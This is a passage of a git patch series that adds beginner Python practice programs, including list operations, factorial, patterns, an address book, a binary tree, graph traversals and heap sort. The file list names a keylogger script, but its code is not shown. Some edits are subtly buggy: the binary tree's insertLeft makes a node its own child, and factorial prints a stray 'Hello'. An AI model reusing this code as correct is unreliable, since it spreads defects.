From eddecb590c0fd9b5bbc56e999255a68e69711fa7 Mon Sep 17 00:00:00 2001 From: Sindhuja-G Date: Thu, 5 Feb 2026 17:10:21 +0530 Subject: [PATCH 1/3] Added 9 file changes --- Programs/Test/P01_hello.py | 28 +++++++ Programs/Test/P02_VariableScope.py | 16 ++++ Programs/Test/P03_ListsOperations.py | 48 ++++++++++++ Programs/Test/P04_Factorial.py | 17 ++++ Programs/Test/P05_Pattern.py | 112 +++++++++++++++++++++++++++ Programs/Test/P06_CharCount.py | 18 +++++ Programs/Test/P07_PrimeNumber.py | 23 ++++++ 7 files changed, 262 insertions(+) create mode 100644 Programs/Test/P01_hello.py create mode 100644 Programs/Test/P02_VariableScope.py create mode 100644 Programs/Test/P03_ListsOperations.py create mode 100644 Programs/Test/P04_Factorial.py create mode 100644 Programs/Test/P05_Pattern.py create mode 100644 Programs/Test/P06_CharCount.py create mode 100644 Programs/Test/P07_PrimeNumber.py diff --git a/Programs/Test/P01_hello.py b/Programs/Test/P01_hello.py new file mode 100644 index 0000000..2bab912 --- /dev/null +++ b/Programs/Test/P01_hello.py @@ -0,0 +1,28 @@ +# Author: OMKAR PATHAK +# This program prints the entered message + +def justPrint(text): + '''This function prints the text passed as argument to this function''' + print(text) + a=input("Enter a number: ") + b=input("Enter another number: ") + base_value = 10 + increment_value=20 + difference = increment_value - base_value + divide_value = increment_value / base_value + multiply_value = increment_value * base_value + floor_division = increment_value // base_value # // -> integer division + + print("Floor Division:", floor_division) + # print("Difference is:", increment_value - base_value) + print("Divide value is:", divide_value) + print("Multiply value is:", multiply_value) + print("Modulus:", increment_value % base_value ) # % -> remainder + print('Addition is:', int(a) + int(b)) + +if __name__ == '__main__': + justPrint('Hello Sindhuja') + justPrint('Hello Sindhuja') + justPrint('Hello Sindhuja') + + diff --git a/Programs/Test/P02_VariableScope.py b/Programs/Test/P02_VariableScope.py new file mode 100644 index 0000000..505eb22 --- /dev/null +++ b/Programs/Test/P02_VariableScope.py @@ -0,0 +1,16 @@ +#Author: OMKAR PATHAK +#This programs shows the rules for variable scope + +# LEGB Rule: Local, Enclosing, Global, Built-in + +x = 80 # Global x + +def test(): + #global x + y = 100 # Local y + x = 20 + print(x + y) #prints 'Local x' and 'Local y' + +if __name__ == '__main__': + test() + print(x) #prints 'Global x' diff --git a/Programs/Test/P03_ListsOperations.py b/Programs/Test/P03_ListsOperations.py new file mode 100644 index 0000000..53c5d13 --- /dev/null +++ b/Programs/Test/P03_ListsOperations.py @@ -0,0 +1,48 @@ +#Author: OMKAR PATHAK +#This program gives examples about various list operations +# User story id : Prod - PYTH-003 + +#Syntax: list[start: end: step] + +myList = [1, 2, 3, 4, 5, 6, 7, 8, 9] +#index 0 1 2 3 4 5 6 7 8 +# -9 -8 -7 -6 -5 -4 -3 -2 -1 + +#List Slicing +print('Original List:',myList) +print('First Element:',myList[0]) #Prints the first element of the list or 0th element of the list +print('Element at 2nd Index position:',myList[2]) #Prints the 2nd element of the list +print('Elements from 0th Index to 4th Index:',myList[0: 5]) #Prints elements of the list from 0th index to 4th index. IT DOESN'T INCLUDE THE LAST INDEX +print('Element at -7th Index:',myList[-7]) #Prints the -7th or 3rd element of the list + +#To append an element to a list +myList.append(10) +print('Append:',myList) + +#To find the index of a particular element +print('Index of element \'6\':',myList.index(6)) #returns index of element '6' + +#To sort the list +myList.sort() + +#To pop last element +print('Poped Element:',myList.pop()) + +#To remove a particular element from the lsit BY NAME +myList.remove(6) +print('After removing \'6\':',myList) + +#To insert an element at a specified Index +myList.insert(5, 6) +print('Inserting \'6\' at 5th index:',myList) + +#To count number of occurences of a element in the list +print('No of Occurences of \'1\':',myList.count(1)) + +#To extend a list that is insert multiple elemets at once at the end of the list +myList.extend([11,0]) +print('Extending list:',myList) + +#To reverse a list +myList.reverse() +print('Reversed list:',myList) diff --git a/Programs/Test/P04_Factorial.py b/Programs/Test/P04_Factorial.py new file mode 100644 index 0000000..f5262c3 --- /dev/null +++ b/Programs/Test/P04_Factorial.py @@ -0,0 +1,17 @@ +#Author: OMKAR PATHAK +#This program finds the favtorial of the specified numbers +#For example, factorial of 5 = 5*4*3*2*1 = 120 + +def factorial(number): + '''This function finds the factorial of the number passed as argument''' + if number < 0: + print('Invalid entry! Cannot find factorial of a negative number') + if number == 0 or number == 1: + print("Hello") + return 1 + else: + return number * factorial(number - 1) + +if __name__ == '__main__': + userInput = int(input('Enter the Number to find the factorial of: ')) + print(factorial(userInput)) diff --git a/Programs/Test/P05_Pattern.py b/Programs/Test/P05_Pattern.py new file mode 100644 index 0000000..db988a0 --- /dev/null +++ b/Programs/Test/P05_Pattern.py @@ -0,0 +1,112 @@ +#Author: OMKAR PATHAK +#This program prints various patterns + +def pattern1(level): + '''This function prints the following pattern: + + * + ** + *** + **** + + ''' + for i in range(1, level + 1): + print() + for j in range(i): + print('*', end = '') + +def pattern2(level): + '''This function prints the following pattern: + + **** + *** + ** + * + + ''' + for i in range(level, 0, -1): + print() + for j in range(i): + print('*', end = '') + +def pattern3(level): + '''This function prints the following pattern: + + * + ** + *** + **** + + ''' + counter = level + for i in range(level + 1): + print(' ' * counter + '*' * i) + counter -= 1 + +def pattern4(level): + '''This function prints the following pattern: + + **** + *** + ** + * + + ''' + counter = 0 + for i in range(level, 0 ,-1): + print(' ' * counter + '*' * i) + counter += 1 + +def pattern5(level): + '''This function prints the following pattern: + + * + *** + ***** + + ''' + # first loop for number of lines + for i in range(level + 1): + #second loop for spaces + for j in range(level - i): + print (" ",end='') + # this loop is for printing stars + for k in range(2 * i - 1): + print("*", end='') + print() + + +if __name__ == '__main__': + userInput = int(input('Enter the level: ')) + pattern1(userInput) + print() + pattern2(userInput) + print() + pattern3(userInput) + print() + pattern4(userInput) + print() + pattern5(userInput) + print() + + def pattern6(userInput): + ''' + following is the another approach to solve pattern problems with reduced time complexity + + for + + * + ** + *** + **** + ***** + ''' + + num = int(input('Enter number for pattern')) + pattern = '*' + string = pattern * num + x = 0 + + for i in string: + x = x + 1 + print(string[0:x]) diff --git a/Programs/Test/P06_CharCount.py b/Programs/Test/P06_CharCount.py new file mode 100644 index 0000000..ae13486 --- /dev/null +++ b/Programs/Test/P06_CharCount.py @@ -0,0 +1,18 @@ +#Author: OMKAR PATHAK +#This program checks for the character frequency in the given string + +def charFrequency(userInput): + '''This fuction helps to count the char frequency in the given string ''' + userInput = userInput.lower() #covert to lowercase + dict = {} + for char in userInput: + keys = dict.keys() + if char in keys: + dict[char] += 1 + else: + dict[char] = 1 + return dict + +if __name__ == '__main__': + userInput = str(input('Enter a string: ')) + print(charFrequency(userInput)) diff --git a/Programs/Test/P07_PrimeNumber.py b/Programs/Test/P07_PrimeNumber.py new file mode 100644 index 0000000..485de60 --- /dev/null +++ b/Programs/Test/P07_PrimeNumber.py @@ -0,0 +1,23 @@ +#Author: OMKAR PATHAK +#This program checks whether the entered number is prime or not + +def checkPrime(number): + '''This function checks for prime number''' + isPrime = False + if number == 2: + print(number, 'is a Prime Number') + if number > 1: + for i in range(2, number): + if number % i == 0: + print(number, 'is not a Prime Number') + isPrime = False + break + else: + isPrime = True + + if isPrime: + print(number, 'is a Prime Number') + +if __name__ == '__main__': + userInput = int(input('Enter a number to check: ')) + checkPrime(userInput) From 9c574b96079048258444952ed7c162864664dcce Mon Sep 17 00:00:00 2001 From: Sindhuja-G Date: Thu, 5 Feb 2026 17:49:33 +0530 Subject: [PATCH 2/3] Added 27 file changes --- Programs/Test/P54_PythonCSV.py | 30 ++++ Programs/Test/P55_Isogram.py | 29 ++++ Programs/Test/P56_Pangram.py | 36 +++++ Programs/Test/P57_Anagram.py | 27 ++++ Programs/Test/P58_PerfectNumber.py | 21 +++ Programs/Test/P59_PascalTriangle.py | 32 +++++ Programs/Test/P60_PickleModule.py | 32 +++++ Programs/Test/P61_AddressBook.py | 150 ++++++++++++++++++++ Programs/Test/P62_BinaryTree.py | 82 +++++++++++ Programs/Test/P63_Graph.py | 80 +++++++++++ Programs/Test/P64_DepthFirstTraversal.py | 82 +++++++++++ Programs/Test/P65_BreadthFirstTraversal.py | 51 +++++++ Programs/Test/P66_HeapSort.py | 50 +++++++ Programs/Test/P67_SieveOfEratosthenes.py | 34 +++++ Programs/Test/P68_TopologicalSort.py | 66 +++++++++ Programs/Test/P69_ReverseWords.py | 12 ++ Programs/Test/P70_SimpleProgressBar.py | 18 +++ Programs/Test/P71_PythonUnittest.py | 44 ++++++ Programs/Test/P72_PythonLambda.py | 33 +++++ Programs/Test/P73_SimplePythonEncryption.py | 27 ++++ Programs/Test/P74_PythonGenerators.py | 18 +++ Programs/Test/P75_TicTacToe.py | 75 ++++++++++ Programs/Test/P76_PythonFTP.py | 36 +++++ Programs/Test/P77_FileSearching.py | 51 +++++++ Programs/Test/P78_HashTable.py | 40 ++++++ Programs/Test/P79_SimplePythonKeylogger.py | 49 +++++++ Programs/Test/P80_SQLAlchemyTutorial.py | 61 ++++++++ 27 files changed, 1266 insertions(+) create mode 100644 Programs/Test/P54_PythonCSV.py create mode 100644 Programs/Test/P55_Isogram.py create mode 100644 Programs/Test/P56_Pangram.py create mode 100644 Programs/Test/P57_Anagram.py create mode 100644 Programs/Test/P58_PerfectNumber.py create mode 100644 Programs/Test/P59_PascalTriangle.py create mode 100644 Programs/Test/P60_PickleModule.py create mode 100644 Programs/Test/P61_AddressBook.py create mode 100644 Programs/Test/P62_BinaryTree.py create mode 100644 Programs/Test/P63_Graph.py create mode 100644 Programs/Test/P64_DepthFirstTraversal.py create mode 100644 Programs/Test/P65_BreadthFirstTraversal.py create mode 100644 Programs/Test/P66_HeapSort.py create mode 100644 Programs/Test/P67_SieveOfEratosthenes.py create mode 100644 Programs/Test/P68_TopologicalSort.py create mode 100644 Programs/Test/P69_ReverseWords.py create mode 100644 Programs/Test/P70_SimpleProgressBar.py create mode 100644 Programs/Test/P71_PythonUnittest.py create mode 100644 Programs/Test/P72_PythonLambda.py create mode 100644 Programs/Test/P73_SimplePythonEncryption.py create mode 100644 Programs/Test/P74_PythonGenerators.py create mode 100644 Programs/Test/P75_TicTacToe.py create mode 100644 Programs/Test/P76_PythonFTP.py create mode 100644 Programs/Test/P77_FileSearching.py create mode 100644 Programs/Test/P78_HashTable.py create mode 100644 Programs/Test/P79_SimplePythonKeylogger.py create mode 100644 Programs/Test/P80_SQLAlchemyTutorial.py diff --git a/Programs/Test/P54_PythonCSV.py b/Programs/Test/P54_PythonCSV.py new file mode 100644 index 0000000..64585d7 --- /dev/null +++ b/Programs/Test/P54_PythonCSV.py @@ -0,0 +1,30 @@ +# Author: OMKAR PATHAK +# In this example we will see how to use CSV files with Python + +# csv.QUOTE_ALL = Instructs writer objects to quote all fields. +# csv.QUOTE_MINIMAL = Instructs writer objects to only quote those fields which contain special characters such +# as delimiter, quotechar or any of the characters in lineterminator. +# csv.QUOTE_NONNUMERIC = Instructs writer objects to quote all non-numeric fields. +# Instructs the reader to convert all non-quoted fields to type float. +# csv.QUOTE_NONE = Instructs writer objects to never quote fields. + +import csv + +def csvRead(filePath): + with open(filePath) as fd: + reader = csv.reader(fd, delimiter = ',') + for row in reader: + print(row[0] + ' ' + row[1]) + +def csvWrite(filePath, data): + with open(filePath, 'a') as fd: + writer = csv.writer(fd, delimiter=',', quoting=csv.QUOTE_NONNUMERIC) + writer.writerow(data) + +if __name__ == '__main__': + # data = ['Firstname', 'Lastname'] + # csvWrite('example.csv', data) + userInput = input('What is your Fullname? ') + userInput = userInput.split(' ') + csvWrite('example.csv', userInput) + csvRead('example.csv') diff --git a/Programs/Test/P55_Isogram.py b/Programs/Test/P55_Isogram.py new file mode 100644 index 0000000..6c7b230 --- /dev/null +++ b/Programs/Test/P55_Isogram.py @@ -0,0 +1,29 @@ +# Author: OMKAR PATHAK + +# ISOGRAM: An isogram (also known as a "nonpattern word") is a logological term for a word +# or phrase without a repeating letter + +def is_isogram(word): + # Convert the word or sentence in lower case letters. + clean_word = word.lower() + # Make ann empty list to append unique letters + letter_list = [] + for letter in clean_word: + # If letter is an alphabet then only check + if letter.isalpha(): + if letter in letter_list: + return False + letter_list.append(letter) + + return True + +if __name__ == '__main__': + print(is_isogram("")) # True + print(is_isogram("isogram")) # True + print(is_isogram("eleven")) # False + print(is_isogram("subdermatoglyphic")) # True + print(is_isogram("Alphabet")) # False + print(is_isogram("thumbscrew-japingly")) # True + print(is_isogram("Hjelmqvist-Gryb-Zock-Pfund-Wax")) # True + print(is_isogram("Emily Jung Schwartzkopf")) # True + print(is_isogram("accentor")) # False diff --git a/Programs/Test/P56_Pangram.py b/Programs/Test/P56_Pangram.py new file mode 100644 index 0000000..be2f31d --- /dev/null +++ b/Programs/Test/P56_Pangram.py @@ -0,0 +1,36 @@ +# Author: OMKAR PATHAK + +# PANGRAM: A sentence containing every letter of the alphabet. + +from collections import Counter + +def pangram(sentence): + sentence = sentence.lower() + check = 'abcdefghijklmnopqrstuvwxyz' + alphabets = [] + for letter in sentence: + if letter.isalpha(): + if letter in alphabets: + pass + else: + alphabets.append(letter) + + alphabets = ''.join(alphabets) + if Counter(check) == Counter(alphabets): + return True + else: + return False + +# A short version of above function: +def pangram2(sentence): + alphabet = list(map(chr, range(97, 123))) + formattedString = ''.join(c for c in sentence if c.isalpha()).lower() + return set(alphabet) == set(formattedString) + +if __name__ == '__main__': + print(pangram('the quick brown fox jumps over the lazy dog')) # True + print(pangram('the_quick_brown_fox_jumps_over_the_lazy_dog')) # True + print(pangram('the 1 quick brown fish jumps over the 2 lazy dogs')) # False + print(pangram('Five quacking Zephyrs jolt my wax bed.')) # True + print(pangram('the quick brown fox jumped over the lazy FOX')) # False + print(pangram(' ')) # False diff --git a/Programs/Test/P57_Anagram.py b/Programs/Test/P57_Anagram.py new file mode 100644 index 0000000..4d282d0 --- /dev/null +++ b/Programs/Test/P57_Anagram.py @@ -0,0 +1,27 @@ +# Author: OMKAR PATHAK + +# ANAGRAM: An anagram is direct word switch or word play, the result of rearranging the letters +# of a word or phrase to produce a new word or phrase, using all the original letters exactly once + +# We are taking a word and a list. We return the anagrams of that word from the given list and return the +# list of anagrams else return empty list + +from collections import Counter + +def anagram(word, myList): + word = word.lower() + anagrams = [] + for words in myList: + if word != words.lower(): + if Counter(word) == Counter(words.lower()): + anagrams.append(words) + return anagrams + +if __name__ == '__main__': + print(anagram("ant", ["tan", "stand", "at"])) # ['tan'] + print(anagram("master", ["stream", "pigeon", "maters"])) # ['stream', 'maters'] + print(anagram("good", ["dog", "goody"])) # [] + print(anagram("allergy",[ + "gallery", "ballerina", "regally", "clergy", "largely", "leading" + ])) # ['gallery', 'regally', 'largely'] + print(anagram("BANANA", ["Banana"])) # [] diff --git a/Programs/Test/P58_PerfectNumber.py b/Programs/Test/P58_PerfectNumber.py new file mode 100644 index 0000000..bcce192 --- /dev/null +++ b/Programs/Test/P58_PerfectNumber.py @@ -0,0 +1,21 @@ +# Author: OMKAR PATHAK + +# Wikipedia : In number theory, a perfect number is a positive integer that is equal to the sum of +# its proper positive divisors, that is, the sum of its positive divisors excluding the number itself +# (also known as its aliquot sum). Equivalently, a perfect number is a number that is half the sum of all +# of its positive divisors (including itself). +# Example : The first perfect number is 6, because 1, 2, and 3 are its proper positive divisors, +# and 1 + 2 + 3 = 6. Equivalently, the number 6 is equal to half the sum of all its positive divisors: +# ( 1 + 2 + 3 + 6 ) / 2 = 6. The next perfect number is 28 = 1 + 2 + 4 + 7 + 14. This is followed by the +# perfect numbers 496 and 8128. + +def perfectNumber(number): + sum = 0 + for x in range(1, number): + if number % x == 0: + sum += x + return sum == number + +if __name__ == '__main__': + print(perfectNumber(6)) # True + print(perfectNumber(3)) # False diff --git a/Programs/Test/P59_PascalTriangle.py b/Programs/Test/P59_PascalTriangle.py new file mode 100644 index 0000000..8a84384 --- /dev/null +++ b/Programs/Test/P59_PascalTriangle.py @@ -0,0 +1,32 @@ +# Author: OMKAR PATHAK + +# PASCAL TRAINGLE: To build the triangle, start with "1" at the top, then continue placing numbers +# below it in a triangular pattern. Each number is the numbers directly above it added together. + +# generates the nth row of Pascal's Triangle +def pascalRow(n): + if n == 0: + return [1] + else: + N = pascalRow(n-1) + return [1] + [N[i] + N[i+1] for i in range(n-1)] + [1] + +# create a triangle of n rows +def pascalTriangle(n): + triangle = [] + for i in range(n): + triangle.append(pascalRow(i)) + return triangle + +if __name__ == '__main__': + for i in pascalTriangle(7): + print(i) + + # OUTPUT: + # [1] + # [1, 1] + # [1, 2, 1] + # [1, 3, 3, 1] + # [1, 4, 6, 4, 1] + # [1, 5, 10, 10, 5, 1] + # [1, 6, 15, 20, 15, 6, 1] diff --git a/Programs/Test/P60_PickleModule.py b/Programs/Test/P60_PickleModule.py new file mode 100644 index 0000000..b0c68e4 --- /dev/null +++ b/Programs/Test/P60_PickleModule.py @@ -0,0 +1,32 @@ +# Author: OMKAR PATHAK + +# In this example we will see how to use pickle module for storing the data efficiently! +# The pickle module translates an in-memory Python object into a serialized byte stream—a string of bytes +# that can be written to any file-like object. + +import pickle + +def storeData(): + # initializing data to be stored in db + Omkar = {'key' : 'Omkar', 'name' : 'Omkar Pathak', 'age' : 21, 'pay' : 40000} + Jagdish = {'key' : 'Jagdish', 'name' : 'Jagdish Pathak', 'age' : 50, 'pay' : 50000} + + # database + db = {} + db['Omkar'] = Omkar + db['Jagdish'] = Jagdish + + dbfile = open('examplePickle', 'ab') # Its important to use binary mode + pickle.dump(db, dbfile) # source, destination + dbfile.close() + +def loadData(): + dbfile = open('examplePickle', 'rb') # for reading also binary mode is important + db = pickle.load(dbfile) + for keys in db: + print(keys,'=>',db[keys]) + dbfile.close() + +if __name__ == '__main__': + storeData() + loadData() diff --git a/Programs/Test/P61_AddressBook.py b/Programs/Test/P61_AddressBook.py new file mode 100644 index 0000000..98dec39 --- /dev/null +++ b/Programs/Test/P61_AddressBook.py @@ -0,0 +1,150 @@ +# Author: OMKAR PATHAK + +# In this small mini project we will be creating a simple address book application that will store, search and +# delete records + +import pickle, os + +class AddressBook(object): + def __init__(self, name = None, address = None, email = None, phone = None): + self.name = name + self.address = address + self.email = email + self.phone = phone + self.contacts = {} + self.filename = 'addressbook' + + def __str__(self): + return '[Name: {0} | Address: {1} | Email: {2} | Phone: {3}]'.format(self.name, self.address, self.email, self.phone) + + def __repr__(self): + return '[Name: {0} | Address: {1} | Email: {2} | Phone: {3}]'.format(self.name, self.address, self.email, self.phone) + + # Adding details provided by the user in our Address Book + def addContacts(self): + try: + if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: + myAddressBook = open(self.filename, 'rb') + data = pickle.load(myAddressBook) + myAddressBook.close() + else: + myAddressBook = open(self.filename, 'wb') + data = {} + + contact = self.getDetailsFromUser() + data[contact['Name']] = contact + myAddressBook = open(self.filename, 'wb') + pickle.dump(data, myAddressBook) + myAddressBook.close() + print('Contact Added Successfully!') + except: + print('There was an error! Contact was not added.') + finally: + myAddressBook.close() + + # Getting the details from the user to adding the Address Book + def getDetailsFromUser(self): + try: + self.contacts['Name'] = str(input('Enter Contact\'s Full Name: ')) + self.contacts['Address'] = str(input('Enter Contact\'s Address: ')) + self.contacts['Email'] = str(input('Enter Contact\'s Email Address: ')) + self.contacts['Phone'] = int(input('Enter Contact\'s Phone Number: ')) + return self.contacts + except KeyboardInterrupt as error: + raise error + + # To display ALL the contact in our Address Book + def displayContacts(self): + if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: + myAddressBook = open(self.filename, 'rb') + data = pickle.load(myAddressBook) + myAddressBook.close() + if data: + for records in data.values(): + print(records) + myAddressBook.close() + else: + print('No Record in database.') + + # To search for a specific contact in our Address Book + def searchContacts(self): + if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: + myAddressBook = open(self.filename, 'rb') + data = pickle.load(myAddressBook) + myAddressBook.close() + try: + contactToSearch = input('Enter the name of the contact to search: ') + counter = 0 + for contact in data.values(): + if contactToSearch in contact['Name']: + print(data[contact['Name']]) + counter += 1 + if counter == 0: + print('No record found whose name is:', contactToSearch) + except: + print('Error occured!') + else: + print('No Record in database.') + + # For modifying contacts + def modifyContacts(self): + if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: + myAddressBook = open(self.filename, 'rb') + data = pickle.load(myAddressBook) + myAddressBook.close() + try: + contactToModify = input('Enter the name of the contact to modify (Only enter full name): ') + # Search for the record to update + for contact in data.values(): + if contactToModify == contact['Name']: + contact = data[contactToModify] + break + option = int(input('1. To modify name, 2. To modify address, 3. To modify email, 4. To modify phone: ')) + if option == 1: + contact['Name'] = input('Enter Name to modify: ') + del data[contactToModify] + data[contact['Name']] = contact + print('Successful') + elif option == 2: + contact['Address'] = input('Enter Address to modify: ') + del data[contactToModify] + data[contactToModify] = contact + print('Successful') + elif option == 3: + contact['Email'] = input('Enter Email to modify: ') + del data[contactToModify] + data[contactToModify] = contact + print('Successful') + elif option == 4: + contact['Phone'] = input('Enter Phone to modify: ') + del data[contactToModify] + data[contactToModify] = contact + print('Successful') + else: + print('Incorrect option selected.') + except: + print('Error occured. No such record found. Try Again!') + finally: + myAddressBook = open(self.filename, 'wb') + pickle.dump(data, myAddressBook) + myAddressBook.close() + else: + print('No Record in database.') + +if __name__ == '__main__': + myBook = AddressBook() + print('Enter 1. To Add Contacts 2. For Searching a Contact 3. For Modifying a Contact 4. To Display Contacts 5. To Exit') + while True: + choice = int(input('Enter your choice: ')) + if choice == 1: + myBook.addContacts() + elif choice == 2: + myBook.searchContacts() + elif choice == 3: + myBook.modifyContacts() + elif choice == 4: + myBook.displayContacts() + elif choice == 5: + exit() + else: + print('Invalid Option. Try Again!') diff --git a/Programs/Test/P62_BinaryTree.py b/Programs/Test/P62_BinaryTree.py new file mode 100644 index 0000000..56a3bc1 --- /dev/null +++ b/Programs/Test/P62_BinaryTree.py @@ -0,0 +1,82 @@ +# Author: OMKAR PATHAK +# A data structure in which a record is linked to two successor records, usually referred to as +# the left branch when greater and the right when less than the previous record. + +class BinaryTree(object): + + def __init__(self,nodeData): + self.left = None + self.right = None + self.nodeData = nodeData + + def getLeftChild(self): + return self.left + + def getRightChild(self): + return self.right + + def setnodeDataValue(self,value): + self.nodeData = value + + def getnodeDataValue(self): + return self.nodeData + + def insertRight(self,newnodeData): + if self.right == None: + self.right = BinaryTree(newnodeData) + else: + tree = BinaryTree(newnodeData) + tree.right = self.right + self.right = tree + + def insertLeft(self,newnodeData): + if self.left == None: + self.left = BinaryTree(newnodeData) + else: + tree = BinaryTree(newnodeData) + self.left = tree + tree.left = self.left + + + + +def printTree(tree): + if tree != None: + printTree(tree.getLeftChild()) + print(tree.getnodeDataValue()) + printTree(tree.getRightChild()) + + +def pprint(head_node, _pre="", _last=True, term=False): + data = "*" if head_node is None else head_node.nodeData + + print(_pre, "`- " if _last else "|- ", data, sep="") + _pre += " " if _last else "| " + + if term: return + + left = head_node.getLeftChild() + right = head_node.getRightChild() + + for i, child in enumerate([left, right]): + pprint(child, _pre, bool(i) ,term=not(bool(child))) + + + + +def testTree(): + myTree = BinaryTree("1") + myTree.insertLeft("2") + myTree.insertRight("3") + myTree.insertRight("4") + printTree(myTree) + pprint(myTree) + +if __name__ == '__main__': + testTree() + + # OUTPUT + # 2 + # 1 + # 4 + # 3 diff --git a/Programs/Test/P63_Graph.py b/Programs/Test/P63_Graph.py new file mode 100644 index 0000000..0d562b2 --- /dev/null +++ b/Programs/Test/P63_Graph.py @@ -0,0 +1,80 @@ +# Author: OMKAR PATHAK +# In this example, we will see how to implement graphs in Python + +class Vertex(object): + ''' This class helps to create a Vertex for our graph ''' + def __init__(self, key): + self.key = key + self.edges = {} + + def addNeighbour(self, neighbour, weight = 0): + self.edges[neighbour] = weight + + def __str__(self): + return str(self.key) + 'connected to: ' + str([x.key for x in self.edges]) + + def getEdges(self): + return self.edges.keys() + + def getKey(self): + return self.key + + def getWeight(self, neighbour): + try: + return self.edges[neighbour] + except: + return None + +class Graph(object): + ''' This class helps to create Graph with the help of created vertexes ''' + def __init__(self): + self.vertexList = {} + self.count = 0 + + def addVertex(self, key): + self.count += 1 + newVertex = Vertex(key) + self.vertexList[key] = newVertex + return newVertex + + def getVertex(self, vertex): + if vertex in self.vertexList: + return self.vertexList[vertex] + else: + return None + + def addEdge(self, fromEdge, toEdge, cost = 0): + if fromEdge not in self.vertexList: + newVertex = self.addVertex(fromEdge) + if toEdge not in self.vertexList: + newVertex = self.addVertex(toEdge) + self.vertexList[fromEdge].addNeighbour(self.vertexList[toEdge], cost) + + def getVertices(self): + return self.vertexList.keys() + + def __iter__(self): + return iter(self.vertexList.values()) + + +if __name__ == '__main__': + graph = Graph() + graph.addVertex('A') + graph.addVertex('B') + graph.addVertex('C') + graph.addVertex('D') + + graph.addEdge('A', 'B', 5) + graph.addEdge('A', 'C', 6) + graph.addEdge('A', 'D', 2) + graph.addEdge('C', 'D', 3) + + for vertex in graph: + for vertexes in vertex.getEdges(): + print('({}, {}) => {}'.format(vertex.getKey(), vertexes.getKey(), vertex.getWeight(vertexes))) + + # OUTPUT: + # (C, D) => 3 + # (A, C) => 6 + # (A, D) => 2 + # (A, B) => 5 diff --git a/Programs/Test/P64_DepthFirstTraversal.py b/Programs/Test/P64_DepthFirstTraversal.py new file mode 100644 index 0000000..5cf6da8 --- /dev/null +++ b/Programs/Test/P64_DepthFirstTraversal.py @@ -0,0 +1,82 @@ +# Author: OMKAR PATHAK + +# Depth first search is performed in three ways: +# Inorder +# Preorder +# Postorder + +class Node(object): + def __init__(self, data = None): + self.left = None + self.right = None + self.data = data + + # for setting left node + def setLeft(self, node): + self.left = node + + # for setting right node + def setRight(self, node): + self.right = node + + # for getting the left node + def getLeft(self): + return self.left + + # for getting right node + def getRight(self): + return self.right + + # for setting data of a node + def setData(self, data): + self.data = data + + # for getting data of a node + def getData(self): + return self.data + + +# in this we traverse first to the leftmost node, then print its data and then traverse for rightmost node +def inorder(Tree): + if Tree: + inorder(Tree.getLeft()) + print(Tree.getData(), end = ' ') + inorder(Tree.getRight()) + return + +# in this we first print the root node and then traverse towards leftmost node and then to the rightmost node +def preorder(Tree): + if Tree: + print(Tree.getData(), end = ' ') + preorder(Tree.getLeft()) + preorder(Tree.getRight()) + return + +# in this we first traverse to the leftmost node and then to the rightmost node and then print the data +def postorder(Tree): + if Tree: + postorder(Tree.getLeft()) + postorder(Tree.getRight()) + print(Tree.getData(), end = ' ') + return + +if __name__ == '__main__': + root = Node(1) + root.setLeft(Node(2)) + root.setRight(Node(3)) + root.left.setLeft(Node(4)) + + print('Inorder Traversal:') + inorder(root) + print('\nPreorder Traversal:') + preorder(root) + print('\nPostorder Traversal:') + postorder(root) + + # OUTPUT: + # Inorder Traversal: + # 4 2 1 3 + # Preorder Traversal: + # 1 2 4 3 + # Postorder Traversal: + # 4 2 3 1 diff --git a/Programs/Test/P65_BreadthFirstTraversal.py b/Programs/Test/P65_BreadthFirstTraversal.py new file mode 100644 index 0000000..1517593 --- /dev/null +++ b/Programs/Test/P65_BreadthFirstTraversal.py @@ -0,0 +1,51 @@ +# Author: OMKAR PATHAK + +# Breadth First Traversal is the one in which we print the data level wise. Refer below code and output for more +# explanation + +class Node(object): + def __init__(self, data = None): + self.leftChild = None + self.rightChild = None + self.data = data + +def height(node): + if node is None: + return 0 + else: + leftHeight = height(node.leftChild) + rightHeight = height(node.rightChild) + + if leftHeight > rightHeight: + return leftHeight + 1 + else: + return rightHeight + 1 + +def breadthFirstTraversal(root): + if root == None: + return 0 + else: + h = height(root) + for i in range(h + 1): + printBFT(root, i) + +def printBFT(root, level): + if root is None: + return + else: + if level == 1: + print(root.data, end = ' ') + elif level > 1: + printBFT(root.leftChild, level - 1) + printBFT(root.rightChild, level - 1) + +if __name__ == '__main__': + root = Node(1) + root.leftChild = Node(2) + root.rightChild = Node(3) + root.leftChild.leftChild = Node(4) + + breadthFirstTraversal(root) + + # OUTPUT: + # 1 2 3 4 diff --git a/Programs/Test/P66_HeapSort.py b/Programs/Test/P66_HeapSort.py new file mode 100644 index 0000000..0324b56 --- /dev/null +++ b/Programs/Test/P66_HeapSort.py @@ -0,0 +1,50 @@ +# Author: OMKAR PATHAK + +# Approach: +# Heap sort happens in two phases. In the first phase, the array +# is transformed into a heap. A heap is a binary tree where +# 1) each node is greater than each of its children +# 2) the tree is perfectly balanced +# 3) all leaves are in the leftmost position available. +# In phase two the heap is continuously reduced to a sorted array: +# 1) while the heap is not empty +# - remove the top of the head into an array +# - fix the heap. + +# Time Complexity of Solution: +# Best O(nlog(n)); Average O(nlog(n)); Worst O(nlog(n)). + +def HeapSort(alist): + heapify(alist) # create the heap + end = len(alist) - 1 + while end > 0: + alist[end], alist[0] = alist[0], alist[end] + shiftDown(alist, 0, end - 1) + end -= 1 + +def heapify(alist): + ''' This function helps to maintain the heap property ''' + # start = (len(alist) - 2) // 2 (faster execution) + start = len(alist) // 2 + while start >= 0: + shiftDown(alist, start, len(alist) - 1) + start -= 1 + +def shiftDown(alist, start, end): + root = start + while root * 2 + 1 <= end: + child = root * 2 + 1 + # right child exists and is greater than left child + if child + 1 <= end and alist[child] < alist[child + 1]: + child += 1 + # if child is greater than root(parent), then swap their positions + if child <= end and alist[root] < alist[child]: + alist[root], alist[child] = alist[child], alist[root] + root = child + else: + return + +if __name__ == '__main__': + alist = [12, 2, 4, 5, 2, 3] + HeapSort(alist) + print('Sorted Array:',alist) diff --git a/Programs/Test/P67_SieveOfEratosthenes.py b/Programs/Test/P67_SieveOfEratosthenes.py new file mode 100644 index 0000000..ff81f35 --- /dev/null +++ b/Programs/Test/P67_SieveOfEratosthenes.py @@ -0,0 +1,34 @@ +# Auhtor: OMKAR PATHAK + +# Sieve of Eratosthenes is one of the efficient algorithms to find all the prime numbers upto n, where n can be +# upto 10 